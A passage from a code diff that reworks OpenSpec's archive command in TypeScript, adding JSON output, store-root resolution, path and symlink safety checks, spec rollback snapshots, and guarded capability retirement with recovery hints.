snapshot.expectedContent === undefined || + !currentContent.equals(snapshot.expectedContent) + ) { + throw new Error( + `Archive rollback would overwrite a concurrent change at ${snapshot.target}.` + ); + } + } + + if (!snapshot.existed) { + await fs.rm(snapshot.target, { force: true }); + continue; + } + if (snapshot.symlink !== undefined) { + if (snapshot.outcome === 'retire') { + await fs.mkdir(path.dirname(snapshot.target), { recursive: true }); + await fs.symlink(snapshot.symlink, snapshot.target); + } else if (snapshot.contentExisted) { + await fs.writeFile(snapshot.target, snapshot.content!); + } else { + const referent = path.resolve(path.dirname(snapshot.target), snapshot.symlink); + await fs.rm(referent, { force: true }); + } + continue; + } + if (snapshot.content !== undefined) { + await fs.mkdir(path.dirname(snapshot.target), { recursive: true }); + await fs.writeFile(snapshot.target, snapshot.content); + if (snapshot.mode !== undefined) await fs.chmod(snapshot.target, snapshot.mode); + } + } catch (error) { + errors.push(error instanceof Error ? error : new Error(String(error))); + } + } + if (errors.length > 0) { + throw new Error(errors.map(({ message }) => message).join(' ')); + } +} + +async function finalizeRetirementBackups( + snapshots: SpecSnapshot[], + mainSpecsDir: string +): Promise<void> { + const errors: string[] = []; + for (const snapshot of snapshots) { + if (snapshot.outcome !== 'retire' || snapshot.displacedPath === undefined) continue; + const displacedPath = snapshot.displacedPath; + try { + if ( + snapshot.displacedFingerprint === undefined || + (await fingerprintMovablePath(displacedPath)) !== snapshot.displacedFingerprint + ) { + throw new Error('the displaced spec changed after retirement verification'); + } + await finalizeRetiredSpec(snapshot.target, displacedPath, mainSpecsDir); + snapshot.displacedPath = undefined; + } catch (error) { + errors.push( + `Could not remove the committed retirement backup at ${displacedPath} ` + + `(${error instanceof Error ? error.message : String(error)}).` + ); + } + } + if (errors.length > 0) { + throw new RetirementBackupsRetainedError( + `${errors.join(' ')} The change remains archived and each listed backup was retained for recovery.` + ); + } +} + export class ArchiveCommand { - async execute( - changeName?: string, - options: { yes?: boolean; skipSpecs?: boolean; noValidate?: boolean; validate?: boolean } = {} - ): Promise<void> { - const targetPath = '.'; - const changesDir = path.join(targetPath, 'openspec', 'changes'); - const archiveDir = path.join(changesDir, 'archive'); - const mainSpecsDir = path.join(targetPath, 'openspec', 'specs'); - - // Check if changes directory exists + async execute(changeName?: string, options: ArchiveOptions = {}): Promise<void> { + const json = !!options.json; + + let root: ResolvedOpenSpecRoot; try { - await fs.access(changesDir); - } catch { - throw new Error("No OpenSpec changes directory found. Run 'openspec init' first."); + root = await resolveOpenSpecRoot({ + ...(options.store !== undefined ? { store: options.store } : {}), + ...(options.storePath !== undefined ? { storePath: options.storePath } : {}), + }); + } catch (error) { + if (json && isRootSelectionError(error)) { + this.printJsonFailure(undefined, toArchiveDiagnostic(error)); + return; + } + throw error; + } + + if (json) { + try { + const result = await this.run(changeName, options, root, true); + if (!result) { + return; + } + console.log(JSON.stringify({ archive: result, root: toRootOutput(root) }, null, 2)); + } catch (error) { + this.printJsonFailure(root, toArchiveDiagnostic(error)); + } + return; + } + + emitStoreRootBanner(root); + await this.run(changeName, options, root, false); + } + + private printJsonFailure(root: ResolvedOpenSpecRoot | undefined, diagnostic: ArchiveDiagnostic): void { + console.log( + JSON.stringify( + { + archive: null, + ...(root ? { root: toRootOutput(root) } : {}), + status: [diagnostic], + }, + null, + 2 + ) + ); + process.exitCode = 1; + } + + /** + * Shared archive flow. In human mode (json=false) prompts and prose match + * the historical behavior and cancellations return null. In JSON mode no + * prose reaches stdout and every blocked path throws. + */ + private async run( + changeName: string | undefined, + options: ArchiveOptions, + root: ResolvedOpenSpecRoot, + json: boolean + ): Promise<ArchiveResult | null> { + const changesDir = root.changesDir; + const archiveDir = root.archiveDir; + const mainSpecsDir = root.specsDir; + + for (const [allowedDirectory, managedDir] of [ + [root.path, changesDir], + [changesDir, archiveDir], + [root.path, mainSpecsDir], + ] as const) { + try { + FileSystemUtils.assertPathWithin(allowedDirectory, managedDir); + } catch { + throw new ArchiveBlockedError( + 'archive_path_outside_root', + `Refusing to archive through a path outside the OpenSpec root: ${managedDir}` + ); + } } // Get change name interactively if not provided if (!changeName) { - const selectedChange = await this.selectChange(changesDir); + if (json) { + throw new ArchiveBlockedError( + 'archive_change_name_required', + 'A change name is required: archive --json is non-interactive.', + withStoreFlag(root, 'openspec archive <change-name> --json') + ); + } + const selectedChange = await this.selectChange(changesDir, root, options); if (!selectedChange) { console.log('No change selected. Aborting.'); - return; + return null; } changeName = selectedChange; } + const changeNameProblem = folderStyleNameProblem(changeName, 'Change name'); + if (changeNameProblem) { + throw new ArchiveBlockedError('archive_change_name_invalid', changeNameProblem); + } + const changeDir = path.join(changesDir, changeName); // Verify change exists try { - const stat = await fs.stat(changeDir); + const stat = await fs.lstat(changeDir); + if (stat.isSymbolicLink()) { + throw new ArchiveBlockedError( + 'archive_change_symlink', + `Change '${changeName}' is a symbolic link. Replace it with a real directory before archiving.` + ); + } if (!stat.isDirectory()) { throw new Error(`Change '${changeName}' not found.`); } - } catch { - throw new Error(`Change '${changeName}' not found.`); + } catch (error) { + if (error instanceof ArchiveBlockedError) throw error; + const available = await listActiveChangeNames(changesDir); + throw new ArchiveBlockedError( + 'archive_change_not_found', + available.length > 0 + ? `Change '${changeName}' not found. Available changes: ${available.join(', ')}` + : `Change '${changeName}' not found. No active changes exist in this root.` + ); } const skipValidation = options.validate === false || options.noValidate === true; @@ -93,208 +1156,855 @@ export class ArchiveCommand { const validator = new Validator(); let hasValidationErrors = false; - // Validate proposal.md (non-blocking unless strict mode desired in future) - const changeFile = path.join(changeDir, 'proposal.md'); - try { - await fs.access(changeFile); - const changeReport = await validator.validateChange(changeFile); - // Proposal validation is informative only (do not block archive) - if (!changeReport.valid) { - console.log(chalk.yellow(`\nProposal warnings in proposal.md (non-blocking):`)); - for (const issue of changeReport.issues) { - const symbol = issue.level === 'ERROR' ? '⚠' : (issue.level === 'WARNING' ? '⚠' : 'ℹ'); - console.log(chalk.yellow(` ${symbol} ${issue.message}`)); + // Validate proposal.md (informative only; human mode prints warnings) + if (!json) { + const changeFile = path.join(changeDir, 'proposal.md'); + try { + await fs.access(changeFile); + const changeReport = await validator.validateChange(changeFile); + // Proposal validation is informative only (do not block archive). + // `validateChange` parses the change together with its delta specs, + // so it also raises requirement-level issues under + // `deltas.<n>.requirement(s)`. Those + // are not proposal problems, and reporting them here was noisy and + // sometimes wrong (#498): the change parser records every requirement + // under both `requirement` and `requirements`, so each defect was + // printed twice, and REMOVED requirements — names-only by design — + // produced a "missing scenario" warning for a correct removal. + // Genuine delta defects are still caught below, by the delta spec + // validation and by the rebuilt-spec check that runs before any write. + const proposalIssues = changeReport.issues.filter( + (issue) => !/^deltas\.\d+\.requirements?\./.test(issue.path) + ); + if (!changeReport.valid && proposalIssues.length > 0) { + console.log(chalk.yellow(`\nProposal warnings in proposal.md (non-blocking):`)); + for (const issue of proposalIssues) { + const symbol = issue.level === 'ERROR' ? '⚠' : (issue.level === 'WARNING' ? '⚠' : 'ℹ'); + console.log(chalk.yellow(` ${symbol} ${issue.message}`)); + } } + } catch { + // Change file doesn't exist, skip validation } - } catch { - // Change file doesn't exist, skip validation } // Validate delta-formatted spec files under the change directory if present const changeSpecsDir = path.join(changeDir, 'specs'); - let hasDeltaSpecs = false; - try { - const candidates = await fs.readdir(changeSpecsDir, { withFileTypes: true }); - for (const c of candidates) { - if (c.isDirectory()) { - try { - const candidatePath = path.join(changeSpecsDir, c.name, 'spec.md'); - await fs.access(candidatePath); - const content = await fs.readFile(candidatePath, 'utf-8'); - if (/^##\s+(ADDED|MODIFIED|REMOVED|RENAMED)\s+Requirements/m.test(content)) { - hasDeltaSpecs = true; - break; - } - } catch {} + // A spec.md at the specs/ root is never merged, so archiving a change + // that has one drops its content whether or not it carries delta headers + // (#1385). Its existence alone must run validation, which reports it and + // blocks the archive. A directory named spec.md is a normal capability + // folder, so only a regular file counts. + const rootSpecStat = await fs.stat(path.join(changeSpecsDir, 'spec.md')).catch(() => null); + let hasDeltaSpecs = rootSpecStat?.isFile() === true; + // A change that declares skip_specs must not carry any file under + // specs/ — validate reports that as a conflict, so archive has to run + // the same check instead of skipping validation because the files + // happen to have no delta headers. A marker that cannot be honored + // (skip_specs mentioned but the metadata fails the shared shape, or + // names a schema that does not resolve) also + // forces validation, so archive and validate always agree about the + // marker. Unreadable specs/ fails closed into validation too. (An + // UNMARKED zero-delta change still archives with only non-blocking + // proposal warnings — a gap that predates the marker and is left + // unchanged here.) + if (!hasDeltaSpecs) { + const marker = readSkipSpecsMarker(changeDir); + if (marker.invalidReason) { + hasDeltaSpecs = true; + } else if (marker.declared) { + let specsDirHasFiles = true; + try { + specsDirHasFiles = await hasAnyFileUnder(changeSpecsDir); + } catch { + // fall through with true: let validation surface the conflict } + hasDeltaSpecs = specsDirHasFiles; } - } catch {} + } + for (const { specFile } of hasDeltaSpecs ? [] : await discoverSpecFiles(changeSpecsDir)) { + try { + const content = await fs.readFile(specFile, 'utf-8'); + // Case-insensitive to match the delta parser, so a lowercase header + // routes through the same delta validation that validate runs. + if (/^##\s+(ADDED|MODIFIED|REMOVED|RENAMED)\s+Requirements/im.test(content)) { + hasDeltaSpecs = true; + break; + } + } catch {} + } if (hasDeltaSpecs) { + // No mainSpecsDir here on purpose: the scenario-loss check standalone + // validate runs (#1477) is the same one buildUpdatedSpec enforces a few + // steps later, and reporting it here would relabel that failure. const deltaReport = await validator.validateChangeDeltaSpecs(changeDir); if (!deltaReport.valid) { hasValidationErrors = true; - console.log(chalk.red(`\nValidation errors in change delta specs:`)); - for (const issue of deltaReport.issues) { - if (issue.level === 'ERROR') { - console.log(chalk.red(` ✗ ${issue.message}`)); - } else if (issue.level === 'WARNING') { - console.log(chalk.yellow(` ⚠ ${issue.message}`)); + if (!json) { + console.log(chalk.red(`\nValidation errors in change delta specs:`)); + for (const issue of deltaReport.issues) { + if (issue.level === 'ERROR') { + console.log(chalk.red(` ✗ ${issue.message}`)); + } else if (issue.level === 'WARNING') { + console.log(chalk.yellow(` ⚠ ${issue.message}`)); + } } } } } if (hasValidationErrors) { + if (json) { + throw new ArchiveBlockedError( + 'archive_validation_failed', + `Validation failed for change '${changeName}'.`, + `Run ${withStoreFlag(root, `openspec validate ${changeName}`)} for details, fix the errors, or rerun with --no-validate.` + ); + } console.log(chalk.red('\nValidation failed. Please fix the errors before archiving.')); console.log(chalk.yellow('To skip validation (not recommended), use --no-validate flag.')); - return; + process.exitCode = 1; + return null; + } + } else if (json) { + if (!options.yes) { + throw new ArchiveBlockedError( + 'archive_confirmation_required', + 'Skipping validation requires confirmation: rerun with --yes.', + withStoreFlag(root, 'openspec archive <change-name> --json --no-validate --yes') + ); } } else { // Log warning when validation is skipped const timestamp = new Date().toISOString(); - + if (!options.yes) { - const { confirm } = await import('@inquirer/prompts'); - const proceed = await confirm({ - message: chalk.yellow('⚠️ WARNING: Skipping validation may archive invalid specs. Continue? (y/N)'), - default: false - }); + const proceed = await confirmOrBlock( + { + message: chalk.yellow('⚠️ WARNING: Skipping validation may archive invalid specs. Continue? (y/N)'), + default: false + }, + () => + new ArchiveBlockedError( + 'archive_confirmation_required', + 'Skipping validation requires confirmation, and no answer could be read from stdin.', + rerunCommand(root, changeName!, options) + ) + ); if (!proceed) { console.log('Archive cancelled.'); - return; + return null; } } else { console.log(chalk.yellow(`\n⚠️ WARNING: Skipping validation may archive invalid specs.`)); } - + console.log(chalk.yellow(`[${timestamp}] Validation skipped for change: ${changeName}`)); console.log(chalk.yellow(`Affected files: ${changeDir}`)); } // Show progress and check for incomplete tasks - const progress = await getTaskProgressForChange(changesDir, changeName); - const status = formatTaskStatus(progress); - console.log(`Task status: ${status}`); + const progress = await getTaskProgressForChange(changesDir, changeName, path.resolve(changesDir, '..', '..')); + if (!json) { + const status = formatTaskStatus(progress); + console.log(`Task status: ${status}`); + } const incompleteTasks = Math.max(progress.total - progress.completed, 0); if (incompleteTasks > 0) { - if (!options.yes) { - const { confirm } = await import('@inquirer/prompts'); - const proceed = await confirm({ - message: `Warning: ${incompleteTasks} incomplete task(s) found. Continue?`, - default: false - }); + if (json) { + if (!options.yes) { + throw new ArchiveBlockedError( + 'archive_tasks_incomplete', + `${incompleteTasks} incomplete task(s) found for change '${changeName}'.`, + 'Complete the tasks or rerun with --yes.' + ); + } + } else if (!options.yes) { + const proceed = await confirmOrBlock( + { + message: `Warning: ${incompleteTasks} incomplete task(s) found. Continue?`, + default: false + }, + () => + new ArchiveBlockedError( + 'archive_tasks_incomplete', + `${incompleteTasks} incomplete task(s) found for change '${describeChangeName(changeName!)}', and no answer could be read from stdin.`, + `Complete the tasks or rerun with ${rerunCommand(root, changeName!, options)}` + ) + ); if (!proceed) { console.log('Archive cancelled.'); - return; + return null; } } else { console.log(`Warning: ${incompleteTasks} incomplete task(s) found. Continuing due to --yes flag.`); } } - // Handle spec updates unless skipSpecs flag is set - if (options.skipSpecs) { - console.log('Skipping spec updates (--skip-specs flag provided).'); + // Settle the archive destination BEFORE touching any spec. The name depends + // only on the change, and a collision is routine (archiving twice in a day, + // a restored change), so discovering it after the merge would leave specs + // rewritten - or a capability retired - for an archive that never happened. + // + // Names that already carry a date prefix keep it: re-prefixing would stutter + // the name, and when the archive runs on a later day the folder would sort + // under a day on which the change did not happen (#1309). + const archiveName = ARCHIVE_DATE_PREFIX_PATTERN.test(changeName) + ? changeName + : `${formatLocalDate()}-${changeName}`; + const archivePath = path.join(archiveDir, archiveName); + + // Read once, before any spec is touched: whether this change is allowed to + // retire a capability at all. An unhonorable marker counts as undeclared, + // exactly as skip_specs treats one, so metadata the rest of the CLI rejects + // can never authorise a deletion. + const retirementMarker = readRetireCapabilitiesMarker(changeDir); + const retirementDeclared = retirementMarker.declared; + const retirementAuthorizationFingerprint = retirementDeclared + ? await fingerprintPortableContent(path.join(changeDir, METADATA_FILENAME)) + : undefined; + + await assertArchiveDestinationAvailable(archivePath, archiveName); + await fs.mkdir(archiveDir, { recursive: true }); + const claimPath = archiveClaimPath(archivePath, archiveName); + let archiveClaim: ArchiveClaim | undefined; + + try { + // Handle spec updates unless skipSpecs flag is set + let specsUpdated = false; + let totals: ArchiveResult['totals']; + const specWarnings: string[] = []; + let changeArchived = false; + if (options.skipSpecs) { + if (!json) { + console.log('Skipping spec updates (--skip-specs flag provided).'); + } } else { // Find specs to update const specUpdates = await findSpecUpdates(changeDir, mainSpecsDir); - + if (specUpdates.length > 0) { - console.log('\nSpecs to update:'); - for (const update of specUpdates) { - const status = update.exists ? 'update' : 'create'; - const capability = path.basename(path.dirname(update.target)); - console.log(` ${capability}: ${status}`); + if (!json) { + console.log('\nSpecs to update:'); + for (const update of specUpdates) { + const status = update.exists ? 'update' : 'create'; + const capability = update.id; + console.log(` ${capability}: ${status}`); + } + } + + // Build the proposed updates before asking permission to apply them. + // buildUpdatedSpec also reports content that the merge would drop, so + // the confirmation must come after this preview. + const prepared: Array<{ + update: SpecUpdate; + rebuilt: string; + counts: { added: number; modified: number; removed: number; renamed: number }; + outcome: SpecOutcome; + noRequirementBlocks: boolean; + unaccountedContent: string[]; + sourceFingerprint: string; + sourceContentFingerprint: string; + targetFingerprint: string; + targetMovableFingerprint: string; + }> = []; + let prepareError: unknown; + try { + for (const update of specUpdates) { + const sourceBeforeBuild = await fingerprintPath(update.source); + const targetBeforeBuild = await fingerprintPath(update.target); + const built = await buildUpdatedSpec(update, changeName!, { silent: true }); + const sourceAfterBuild = await fingerprintPath(update.source); + const targetAfterBuild = await fingerprintPath(update.target); + if ( + sourceBeforeBuild !== sourceAfterBuild || + targetBeforeBuild !== targetAfterBuild + ) { + throw new Error( + `Spec inputs for '${update.id}' changed while archive was preparing the preview.` + ); + } + prepared.push({ + update, + rebuilt: built.rebuilt, + counts: built.counts, + outcome: await decideSpecOutcome( + update, + built, + skipValidation, + retirementDeclared + ), + noRequirementBlocks: built.noRequirementBlocks, + unaccountedContent: built.unaccountedContent, + sourceFingerprint: sourceAfterBuild, + sourceContentFingerprint: await fingerprintPortableContent(update.source), + targetFingerprint: targetAfterBuild, + targetMovableFingerprint: await fingerprintMovablePath(update.target), + }); + specWarnings.push(...built.warnings); + } + } catch (err: unknown) { + // A user may still decline spec updates and archive the change, as + // before this preview existed. Defer the error until they accept. + prepareError = err; + } + if (prepareError === undefined && !json) { + for (const warning of specWarnings) { + console.log(chalk.yellow(`⚠️ Warning: ${warning}`)); + } } let shouldUpdateSpecs = true; if (!options.yes) { - const { confirm } = await import('@inquirer/prompts'); - shouldUpdateSpecs = await confirm({ - message: 'Proceed with spec updates?', - default: true - }); + if (json) { + throw new ArchiveBlockedError( + 'archive_confirmation_required', + `Updating ${specUpdates.length} spec(s) requires confirmation: rerun with --yes.`, + withStoreFlag(root, 'openspec archive <change-name> --json --yes') + ); + } + shouldUpdateSpecs = await confirmOrBlock( + { + message: 'Proceed with spec updates?', + default: true + }, + () => + new ArchiveBlockedError( + 'archive_confirmation_required', + `Updating ${specUpdates.length} spec(s) requires confirmation, and no answer could be read from stdin.`, + rerunCommand(root, changeName!, options) + ) + ); if (!shouldUpdateSpecs) { console.log('Skipping spec updates. Proceeding with archive.'); } } if (shouldUpdateSpecs) { - // Prepare all updates first (validation pass, no writes) - const prepared: Array<{ update: SpecUpdate; rebuilt: string; counts: { added: number; modified: number; removed: number; renamed: number } }> = []; - try { - for (const update of specUpdates) { - const built = await buildUpdatedSpec(update, changeName!); - prepared.push({ update, rebuilt: built.rebuilt, counts: built.counts }); + // The confirmation may stay open while another editor changes a main + // spec. Never apply the proposal built before the prompt to a newer + // baseline: in particular, a stale retirement decision must not + // delete a requirement added while the prompt was waiting. + if (prepareError === undefined) { + try { + const currentRetirementMarker = readRetireCapabilitiesMarker(changeDir); + if ( + currentRetirementMarker.declared !== retirementMarker.declared || + currentRetirementMarker.invalidReason !== retirementMarker.invalidReason + ) { + throw new Error( + `The ${METADATA_FILENAME} retirement authorization changed while archive was awaiting confirmation.` + ); + } + const currentUpdates = await findSpecUpdates(changeDir, mainSpecsDir); + const currentById = new Map(currentUpdates.map((update) => [update.id, update])); + if (currentUpdates.length !== prepared.length) { + throw new Error('The change specs changed while archive was awaiting confirmation.'); + } + for (const proposed of prepared) { + const current = currentById.get(proposed.update.id); + if (!current) { + throw new Error( + `The delta for '${proposed.update.id}' changed while archive was awaiting confirmation.` + ); + } + if ( + (await fingerprintPath(current.source)) !== proposed.sourceFingerprint || + (await fingerprintPath(current.target)) !== proposed.targetFingerprint + ) { + throw new Error( + `Spec inputs for '${proposed.update.id}' changed while archive was awaiting confirmation. ` + + 'No files were changed; review the new content and rerun.' + ); + } + const rebuilt = await buildUpdatedSpec(current, changeName!, { silent: true }); + const outcome = await decideSpecOutcome( + current, + rebuilt, + skipValidation, + retirementDeclared + ); + if ( + current.exists !== proposed.update.exists || + rebuilt.rebuilt !== proposed.rebuilt || + JSON.stringify(rebuilt.counts) !== JSON.stringify(proposed.counts) || + outcome !== proposed.outcome + ) { + throw new Error( + `Main spec '${proposed.update.id}' changed while archive was awaiting confirmation. ` + + 'No files were changed; review the new content and rerun.' + ); + } + } + } catch (error) { + prepareError = error; } - } catch (err: any) { - console.log(String(err.message || err)); + } + + if (prepareError !== undefined) { + const message = + prepareError instanceof Error ? prepareError.message : String(prepareError); + if (json) { + throw new ArchiveBlockedError( + 'archive_spec_update_failed', + message, + 'Fix the change delta specs and rerun. No files were changed.' + ); + } + console.log(message); console.log('Aborted. No files were changed.'); - return; + process.exitCode = 1; + return null; } - // All validations passed; pre-validate rebuilt full spec and then write files and display counts - let totals = { added: 0, modified: 0, removed: 0, renamed: 0 }; - for (const p of prepared) { - const specName = path.basename(path.dirname(p.update.target)); - if (!skipValidation) { + // Validate every rebuilt spec before writing any of them, so a + // late validation failure really does leave all targets unchanged. + if (!skipValidation) { + for (const p of prepared) { + // A retirement was already put to the validator, and failed on + // nothing but "no requirements" - there is no spec left to write, + // so re-reporting that one error would just abort the fix (#1302). + if (p.outcome !== 'write') continue; + const specName = p.update.id; const report = await new Validator().validateSpecContent(specName, p.rebuilt); if (!report.valid) { + // The dead end #1302 describes: the rebuilt spec is unwritable + // for exactly one reason, and retiring the capability is the + // fix - but only the author can authorise deleting the spec, so + // the abort names the marker instead of just rejecting. Says so + // only when the marker is the ONLY thing missing, so it never + // sends someone after a marker that would not have helped. + const retirementWouldFix = + !retirementDeclared && + p.update.exists && + p.counts.removed > 0 && + (await isRetirementCandidate(p.update, p, false)); + const retirementHint = retirementWouldFix + ? `This change removes the last requirement '${specName}' has. To retire the` + + ` capability and delete its spec, add \`retire_capabilities: true\` to the` + + ` change's ${METADATA_FILENAME} (alongside its \`schema:\`, which that file` + + ` requires), then rerun.` + + (retirementMarker.invalidReason + ? ` The marker present now cannot be honored (${retirementMarker.invalidReason}).` + : '') + : undefined; + // The marker was set and retirement was still refused. Saying + // nothing left the author who did exactly what the docs asked + // back in the original dead end with no signal that their + // marker had been read at all. + // The author asked for a retirement and got the bare + // validation abort. Name the lines that stood in the way. + const refusalReason = + retirementDeclared && + p.unaccountedContent.length > 0 && + (await isRetirableSpec(specName, p.rebuilt)) + ? `'${specName}' declares retire_capabilities, but the spec holds content the merge ` + + `cannot safely account for and deleting the file would take with it: ` + + `${p.unaccountedContent.slice(0, 3).map((line) => `"${line}"`).join(', ')}` + + `${p.unaccountedContent.length > 3 ? `, and ${p.unaccountedContent.length - 3} more line(s)` : ''}. ` + + 'Move it into `## Purpose` or a canonical requirement, or delete the spec by hand.' + : undefined; + if (json) { + throw new ArchiveBlockedError( + 'archive_spec_validation_failed', + `Rebuilt spec for '${specName}' failed validation. No files were changed.`, + refusalReason ?? + retirementHint ?? + `Run ${withStoreFlag(root, `openspec validate ${specName}`)} after fixing the change deltas.` + ); + } console.log(chalk.red(`\nValidation errors in rebuilt spec for ${specName} (will not write changes):`)); for (const issue of report.issues) { if (issue.level === 'ERROR') console.log(chalk.red(` ✗ ${issue.message}`)); else if (issue.level === 'WARNING') console.log(chalk.yellow(` ⚠ ${issue.message}`)); } + if (retirementHint) console.log(chalk.yellow(` → ${retirementHint}`)); + if (refusalReason) console.log(chalk.yellow(` → ${refusalReason}`)); console.log('Aborted. No files were changed.'); - return; + process.exitCode = 1; + return null; } } - await writeUpdatedSpec(p.update, p.rebuilt, p.counts); - totals.added += p.counts.added; - totals.modified += p.counts.modified; - totals.removed += p.counts.removed; - totals.renamed += p.counts.renamed; } - console.log( - `Totals: + ${totals.added}, ~ ${totals.modified}, - ${totals.removed}, → ${totals.renamed}` + + // A legitimate concurrent archive cannot pass the exclusive claim, + // while this catches an external process that created the final + // destination during a confirmation prompt. Check before the first + // spec mutation so a collision never strands a write or retirement. + await assertArchiveDestinationAvailable(archivePath, archiveName); + archiveClaim = await claimArchiveDestination(archivePath, archiveName); + await assertArchiveDestinationAvailable(archivePath, archiveName); + const mutations = prepared + .filter( + ({ outcome, counts }) => + outcome === 'retire' || + (outcome === 'write' && + counts.added + counts.modified + counts.removed + counts.renamed > 0) + ) + .map(({ update, outcome, rebuilt }) => ({ + update, + outcome: outcome as 'write' | 'retire', + rebuilt, + })); + const hasRetirements = mutations.some(({ outcome }) => outcome === 'retire'); + await assertDistinctMutationTargets(mutations); + for (const proposed of prepared) { + if ( + (await fingerprintPath(proposed.update.source)) !== proposed.sourceFingerprint || + (await fingerprintPath(proposed.update.target)) !== proposed.targetFingerprint + ) { + throw new Error( + `Spec inputs for '${proposed.update.id}' changed before archive could apply them. ` + + 'No files were changed; review the new content and rerun.' + ); + } + } + const specSnapshots = await captureSpecSnapshots(mutations); + const specSnapshotsByTarget = new Map( + specSnapshots.map((snapshot) => [snapshot.target, snapshot]) ); - console.log('Specs updated successfully.'); + + const mutationAttempts = new Set<string>(); + try { + // All validations passed; write files and display counts + const writeTotals = { added: 0, modified: 0, removed: 0, renamed: 0 }; + let wroteAny = false; + for (const p of prepared) { + // Deletions are deferred to the loop below. + if (p.outcome !== 'write') continue; + const { added, modified, removed, renamed } = p.counts; + if (added + modified + removed + renamed === 0) { + // Every operation was already synced: rewriting the file would + // only churn normalization differences into it. + continue; + } + await writeUpdatedSpec(p.update, p.rebuilt, p.counts, { + silent: json, + beforeMutate: async () => { + if ( + (await fingerprintSpecInputs(p.update)) !== + `${p.sourceFingerprint}\n${p.targetFingerprint}` + ) { + throw new Error( + `Spec inputs for '${p.update.id}' changed before archive could write them.` + ); + } + mutationAttempts.add(p.update.target); + }, + // Cross-root paths must be absolute when a store is selected. + ...(isStoreSelectedRoot(root) ? { displayPath: p.update.target } : {}), + }); + wroteAny = true; + writeTotals.added += added; + writeTotals.modified += modified; + writeTotals.removed += removed; + writeTotals.renamed += renamed; + } + + // Retirements run only after every write has succeeded. If any + // later mutation fails, the snapshots below restore every target. + for (const p of prepared) { + if (p.outcome !== 'retire') continue; + const { retired, resolvedPath, displacedPath } = await retireSpec( + p.update, + mainSpecsDir, + { + silent: json, + deferDelete: true, + beforeMutate: async () => { + if (retirementAuthorizationFingerprint === undefined) { + throw new Error( + `The ${METADATA_FILENAME} retirement authorization is unavailable.` + ); + } + await assertRetirementAuthorization( + changeDir, + retirementAuthorizationFingerprint + ); + if ( + (await fingerprintSpecInputs(p.update)) !== + `${p.sourceFingerprint}\n${p.targetFingerprint}` + ) { + throw new Error( + `Spec inputs for '${p.update.id}' changed before archive could retire them.` + ); + } + mutationAttempts.add(p.update.target); + }, + verifyDisplaced: async (displacedPath) => { + await assertRetirementAuthorization( + changeDir, + retirementAuthorizationFingerprint! + ); + if ( + (await fingerprintMovablePath(displacedPath)) !== + p.targetMovableFingerprint + ) { + throw new Error( + `Main spec '${p.update.id}' changed while archive was securing it for retirement.` + ); + } + }, + ...(isStoreSelectedRoot(root) ? { displayPath: p.update.target } : {}), + } + ); + if (!retired) continue; + const retirementSnapshot = specSnapshotsByTarget.get(p.update.target); + if (retirementSnapshot === undefined || displacedPath === undefined) { + throw new Error( + `Could not track the displaced main spec for '${p.update.id}' during retirement.` + ); + } + retirementSnapshot.displacedPath = displacedPath; + retirementSnapshot.displacedFingerprint = p.targetMovableFingerprint; + wroteAny = true; + // A rename applied on the way to the retirement still happened; + // folding every count in keeps the totals honest about the whole + // delta. + writeTotals.added += p.counts.added; + writeTotals.modified += p.counts.modified; + writeTotals.removed += p.counts.removed; + writeTotals.renamed += p.counts.renamed; + // Deleting a file is the one archive outcome a JSON consumer cannot + // infer from the totals, so it is recorded the way every other + // spec-merge divergence is. Purpose always goes with the file, so it + // is named too rather than left to the reader to work out, and the + // note carries the command that brings the file back. + const lost = ['Purpose']; + // Derived from the path that was unlinked, never rebuilt from the + // capability id: on a case-insensitive filesystem the id and the + // real directory can differ in case, and git is case-sensitive, so + // an id-derived path is one git rejects. + // `update.target` is built from the capability id, so on a + // case-insensitive filesystem it can differ in case from the file + // that was actually unlinked - and git is case-sensitive, so the + // printed command is one git rejects. A capability directory + // symlinked to a sibling has the same problem without leaving the + // tree. `retiredPath` carries the resolved path, so it wins + // whenever it disagrees, not only when it escapes. + const unlinkedPath = resolvedPath ?? p.update.target; + // Measured against the REAL root, so the platform's own + // `/var` -> `/private/var` link does not read as an escape. A path + // that genuinely sits outside stays absolute, which is what routes + // it to prose guidance instead of a command git would reject. + const realRoot = await fs.realpath(root.path).catch(() => root.path); + const relativeToRoot = path.relative(realRoot, unlinkedPath); + const insideRoot = + relativeToRoot !== '' && + !relativeToRoot.startsWith('..') && + !path.isAbsolute(relativeToRoot); + const deletedPath = + isStoreSelectedRoot(root) || !insideRoot + ? unlinkedPath + : relativeToRoot.split(path.sep).join('/'); + // A command is offered only when pasting it where archive was run + // would actually work. An absolute path here means the file did not + // live under that directory - a selected store, or a symlinked + // capability directory - and `git checkout HEAD -- <abs>` is rejected + // from a different worktree however it is quoted, so that case gets + // guidance instead of a command that cannot run. A path with no + // portable shell spelling is handled the same way. + // + // Conditional on purpose, too: whether the file is in `HEAD` is not + // something archive knows - a spec an earlier archive CREATED and + // nobody has committed yet is not - and promising recovery is the one + // claim this feature must not get wrong. + const pasteablePath = path.isAbsolute(deletedPath) + ? undefined + : quoteForShell(`:(top)${deletedPath}`); + const recovery = pasteablePath + ? `If it was committed, restore it with: git checkout HEAD -- ${pasteablePath}` + : `It was deleted from ${deletedPath}; if it was committed, restore it from that checkout's history.`; + const retirementNote = + `${p.update.id} - capability retired; deleted the main spec (all requirements removed` + + `, declared by retire_capabilities) at ${deletedPath}` + + `. Its section(s) went with it: ${lost.join(', ')}. ` + + recovery; + specWarnings.push(retirementNote); + // The "Retiring ..." line already told a human the file is gone; the + // sections it took along, and how to get them back, are the parts + // they cannot see from the path. + if (!json) { + console.log(` ${recovery}`); + } + } + + specsUpdated = wroteAny; + totals = writeTotals; + if (!json) { + console.log( + `Totals: + ${writeTotals.added}, ~ ${writeTotals.modified}, - ${writeTotals.removed}, → ${writeTotals.renamed}` + ); + console.log( + wroteAny + ? 'Specs updated successfully.' + : 'Specs already in sync; no files changed.' + ); + } + + for (const proposed of prepared) { + if ( + (await fingerprintPath(proposed.update.source)) !== + proposed.sourceFingerprint + ) { + throw new Error( + `The delta for '${proposed.update.id}' changed before the change could be archived.` + ); + } + } + if (hasRetirements) { + await assertRetirementAuthorization( + changeDir, + retirementAuthorizationFingerprint! + ); + } + const verifyArchivedDeltas = async ( + stagedSource?: string + ): Promise<void> => { + if (hasRetirements) { + await assertRetirementAuthorization( + archivePath, + retirementAuthorizationFingerprint!, + // Archived changes are nested one level deeper than active + // changes, so the marker reader cannot resolve their schema. + // Exact content equality proves this is the authorization + // already validated at the active path. + { verifyMarker: false } + ); + if (stagedSource) { + await assertRetirementAuthorization( + stagedSource, + retirementAuthorizationFingerprint! + ); + } + } + for (const proposed of prepared) { + const archivedSource = path.join( + archivePath, + 